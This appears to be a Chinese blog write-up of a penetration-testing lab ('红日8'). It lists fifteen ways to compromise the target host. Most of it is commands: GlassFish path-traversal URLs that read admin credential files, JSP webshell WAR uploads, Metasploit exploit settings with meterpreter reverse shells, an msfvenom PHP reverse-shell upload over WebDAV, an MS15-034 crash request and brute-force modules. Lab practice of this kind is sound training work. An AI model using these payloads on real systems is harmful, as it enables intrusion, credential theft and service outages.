红日8 靶场实战（一共九台）

最新推荐文章于 2025-03-17 17:47:57 发布

爱因斯坦95

最新推荐文章于 2025-03-17 17:47:57 发布

阅读量2k

点赞数 16

文章标签：网络安全

本文链接：https://blog.youkuaiyun.com/weixin_62915924/article/details/136908773

版权

红日8

nmap -T4 -sV -O 192.168.75.135 扫描发现了 80,135,445，3306,8080,8081,4848，8282,8484等端口
在80上面没有搭建网站，访问8080端口发现了glassfish网站，查询一下 8080是glassfish的前端页面，4848端口是后端的管理平台

用dirsearch -u http://192.168.75.135 -e* 扫描80端口的后台
没有发现什么

第一种方法（8080,4848 glassfish）

在网上查询到那个glassfish有任意文件读取的漏洞
http://192.168.75.135:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af （后面加上路径）

https://192.168.75.135:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afglassfish/glassfish4/glassfish/domains/domain1/config/admin-keyfile （里面有那个平台的账号密码）
（glassfish/glassfish4/glassfish/domains/domain1/config/admin-keyfile 这个路径）

账号admin 密码sploit（需要破解ssha256）
进去了以后可以在Applications处上传文件，点击上面的Deploy ，在哥斯拉中生成jsp文件，将jsp文件压缩一下并，将压缩的文件后缀改成 2.war (因为只能上传war的文件，在下面填上getshell,getshell 的路径保持默认其他)
http://192.168.75.135:8080/getshell/1.jsp
(【GlassFish漏洞总结复现 - 优快云 App】http://t.csdnimg.cn/Upak1) 看这个操作

第二种方法

192.168.75.135:8282（tomcat端口）
从那个tomcat manage app 进去那个是一个弱口令界面账号密码（sploit sploit）（一般的弱口令密码是tomcat tomcat）
在哥斯拉中生成jsp文件，将jsp文件压缩一下并，将压缩的文件后缀改成 2.war (因为只能上传war的文件)
http://192.168.75.135:8282/getshell2/2.jsp
验证一下哥斯拉连接一下

第三种还是tomcat

auxiliary/scanner/http/tomcat_enum（不行）
此模块用于tomcat6之前的密码爆破，因为默认账号的admin.metasploitable3因为是tomcat8.所以并不适用。
auxiliary/scanner/http/tomcat_mgr_login（不行）
tomcat后台账号密码爆破。包含账号字典密码字典或者“账号密码”形式的字段。有字典即可获得账号密码sploit
exploits/multi/http/tomcat_mgr_deploy（不行）
它和下一个模块的区别在于使用put方式，但是该方式应该在8.0及以上方式就不能使用了。测试也全部失败。

exploits/multi/http/tomcat_mgr_upload（可以）
测试了自建和METASPLOITstable3 的靶机，windows(linux) 环境下都只能使用windows/meterpreter/reverse_tcp的payload
windows靶机均是TOMCAT均是8.0.XX linux使用的是9.0.31

use exploits/multi/http/tomcat_mgr_upload
set rhosts 192.168.75.135
set target 1
set payload windows/meterpreter/reverse_tcp
set lport 8888
set rport 8282
set httpusername sploit
set httppassword sploit
run(可以直接拿到那个控制权，但是需要tomcat manage APP 弱口令的账号密码可能是还是从那个去攻击)

第四种（8484端口Jenkins）
靶场给的是没有身份认证的Jenkins后台。
模块 exploits/multi/http/jenkins_script_console
这个模块的运行背后的逻辑是，检测漏洞，通过调用jenksin的脚本命令行，从设定SVRHOST的位置执行并下载的shell并回连监听口。
注意。模块的TARGETURI 是/ 不是默认的/jenkins/

set targeturi / (可以得到msf上线)
set srvhost 192.168.75.135
set srvport 8484
set rhosts 192.168.75.135
set rport 8484
set lhost 192.168.75.131
set lport 9999
run

模块auxiliary/scanner/http/jenkins_enum
用于识别无身份认证的Jenkins实例，主要目的是扫描和确定目标服务器上这类Jenkins后台的存在，尤其是那些可能未经适当保护或配置的实例

use auxiliary/scanner/http/jenkins_enum （扫描看看是否有Jenkins后台存在）
set rhosts 192.168.75.135
set rport 8484
set targeturi /
run

第五种80端口漏洞（蓝屏）
curl -v 192.168.75.135 -H "Host:irrelevant" -H "Range:bytes=0-18446744073709551615"

CVE-2015-1635 MS15-034
漏洞在于Windows的HTTP协议栈（HTTP.sys）中，可导致远程执行代码或拒绝服务（DoS）攻击。
auxiliary/dos/http/ms15_034_ulonglongadd
注意，这是一个非典型的Dos.一个range的异常参数执行导致的拒绝服务，会使靶机重启。\nm\n\n以下poc可以直接验证它的存在
416的回显可以用于直接验证该漏洞的存在。

auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.75.135
run （对端是80端口）

第六种方法
21端口
use auxiliary/scanner/ftp/ftp_login
set rhosts 192.168.75.135
run (没有什么只是证明有这个21端口的凭证爆破漏洞)字典爆破

第七种方法
22端口
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.75.135
run (没有什么只是证明有这个22端口的弱密码爆破漏洞跟21一样可以爆破密码)用字典爆破

第八种
80端口处的中国菜刀有一个
192.168.75.135/caidao.asp 在里面找了一下发现了菜刀的密码是password
在外面找到那个中国菜刀连接一下

第九种（8020端口的manageengine平台文档有给admin admin的账号密码）
use exploit/windows/http/manageengine_connectionid_write
set rhosts 192.168.75.135
set lport 8888

卓豪ManageEngine软件的漏洞（8020）
CVE-2015-8249
上传 7z 文件时， FileUploadServlet 类不检查用户控制的 FileUploadServlet 类中的 ConnectionId 参数。这允许攻击者在使用任意文件创建恶意文件的值键入，然后将其放在允许的目录下运行的服务器端脚本，这会导致远程代码在 SYSTEM 的上下文下执行。

第十种（9200 ElasticSearch软件漏洞）
9200端口（ElasticSearch软件漏洞）
CVE-2014-3120
RCE漏洞，在 REST 中发现 API，它不需要身份验证，其中搜索函数允许动态脚本执行，让远程攻击者执行任意 Java 代码。
模块
use exploit/multi/elasticsearch/script_mvel_rce
set rhosts 192.168.75.135
set lport 8888
run

第十一种（8282的axis2）
192.168.75.135:8282/asix2
exploit/multi/http/axis2_deployer
此模块使用特定用户/通道登录到 Axis2 Web 管理模块实例，并通过使用 SOAP 部署恶意 Web 服务上传和执行命令。
模块利用的是 Apache Axis2 应用程序的默认部署器服务，该服务通常没有身份验证或者使用默认凭据（靶场和模块自带的都是admin/axis2）访问
这是一种配置错误而不是应用程序漏洞.

use exploit/multi/http/axis2_deployer
set rhosts 192.168.75.135
set rport 8282
set lport 5555
run

第十二种（8585端口的webdav）

WebDAV主要用于应用和服务器之间文档的传输访问，网盘和有类似同步功能的app大都支持这个协议。利用了缺乏验证的webdav和PUT协议。
nc 192.168.75.135 8585
PUT /uploads/test789.txt HTTP/1.0 (看一下是否可以上传)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.131 lport=7777 -f raw -o test.php
生成木马复制里面的东西
use auxiliary/scanner/http/http_put
set rhosts 192.168.75.135
set rport 8585
set path /uploads
set filedata file://root/test.php
set filename test.php
run （上传成功）

开启监听
set payload php/meterpreter/reverse_tcp
set lhost 192.168.75.135
set lport 7777
run

访问启动 http://192.168.75.135:8585/uploads/test.php

第十三种（161端口snmp 默认配置）
模块会显示目标主机或者设备的硬件、软件信息、进程及相关文件目录、网络当前端口状态及所有用户名等信息。

use auxiliary/scanner/snmp/snmp_enum
set rhosts 192.168.75.135
run

第十四种（1617 jmx配置错误）

CVE-2015-2342
JMX的一个通用漏洞，靶场具备以下的前提：
无验证（-Dcom.sun.management.jmxremote.authenticate=false），支持JMX服务允许远程（靶场均具备，但这并非JMX默认配置）。
这个漏洞的本质是由于配置错误造成的安全弱点，而后续的恶意操作则是通过利用 JMX 本身的合法功能来实现的
使用模块multi/misc/java_jmx_server
利用过程如下：
将目标主机作为Mbeanserver
1. 模块与远程 JMX 服务的交互：
模块首先通过连接到靶机的 JMX 服务，并发现 JMX/RMI 端点。
2. 利用 MBean 的加载过程：
接下来，模块利用 JMX 服务的一个特性，即能够远程加载和执行 MBean（管理Bean）。这通常是为了管理和监控目的。
3. 恶意代码的角色：
模块在攻击者控制的 HTTP 服务器上托管了恶意代码。这通常是一个特制的 Java 类或 JAR 文件。
4. 远程加载和执行：
模块通过 JMX 服务的远程连接指示靶机下载并执行这个恶意代码。这通常通过创建一个 MLet（一个特殊类型的 MBean，用于从远程 URL 加载类）并告诉它从 HTTP 服务器下载并实例化恶意 Java 类来实现
5. 执行恶意代码：
一旦恶意代码被加载，它就会在靶机上执行，允许攻击者执行各种恶意活动，如本例的启动反向 shell。
所以，总的来说，模块通过 RMI 连接到 JMX 服务，利用 JMX 的能力远程加载一个 MBean（通常是 MLet），然后使用 MLet 从攻击者控制的 HTTP 服务器上下载并执行恶意代码。

use exploit/multi/misc/java_jmx_server
set rhosts 192.168.75.135
set rport 1617
set srvhost 192.168.75.131
set srvport 8080
set lport 8888
run

第十五种（8585 wordpress插件漏洞）

WordPress 插件 Ninja Forms（版本 2.9.42 及之前版本）的软件漏洞
漏洞是利用FORMS创建的表，在被访问提交时无需验证，导致的恶意文件上传。
unix/webapp/wp_ninja_forms_unauthenticated_file_upload(官网是这个模块，MSF6没有）
我自己找了下可能是这个 exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
CVE-2016-1209\n\n这个模块有个吐血的配置，发现，wordpress后面必须有/，后面那个form_path是从wordpress后台的page页面获得的。（这个地方可能搭建有些问题，正常应该是把Ninja Forms里建的表，加载到这个创建的页面里。但我看后台 Forms没有任何表，页面的配置里面也没有有加载Forms的任何表）

use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
set rhosts 192.168.75.135
set rport 8585
set targeturi /wordpress/
set form_path /index.php/king-of-hearts/
run